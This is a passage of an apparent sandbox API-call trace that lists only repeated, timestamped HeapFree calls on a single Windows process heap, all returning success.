	[0173.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0173.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0173.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0173.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0173.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0173.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0173.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0173.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0173.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0173.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0173.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5610068 | out: hHeap=0x4f0000) returned 1
	[0174.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5620070 | out: hHeap=0x4f0000) returned 1
	[0174.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5610068 | out: hHeap=0x4f0000) returned 1
	[0174.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5610068 | out: hHeap=0x4f0000) returned 1
	[0174.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5620070 | out: hHeap=0x4f0000) returned 1
	[0174.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5620070 | out: hHeap=0x4f0000) returned 1
	[0174.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5630078 | out: hHeap=0x4f0000) returned 1
	[0174.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5620070 | out: hHeap=0x4f0000) returned 1
	[0174.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5610068 | out: hHeap=0x4f0000) returned 1
	[0174.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.248] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5640080 | out: hHeap=0x4f0000) returned 1
	[0174.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5610068 | out: hHeap=0x4f0000) returned 1
	[0174.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0174.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0174.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0174.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0174.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0174.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0174.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0174.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0174.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46e03e8 | out: hHeap=0x4f0000) returned 1
	[0174.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0174.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0174.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0174.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0174.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0174.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0174.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0175.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0175.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0175.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0175.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0175.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0175.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0175.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0175.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0175.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0175.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0175.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0175.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0175.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x575cf0 | out: hHeap=0x4f0000) returned 1
	[0175.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0175.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0175.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0175.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0175.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0175.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0175.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0175.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0175.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0175.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0175.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
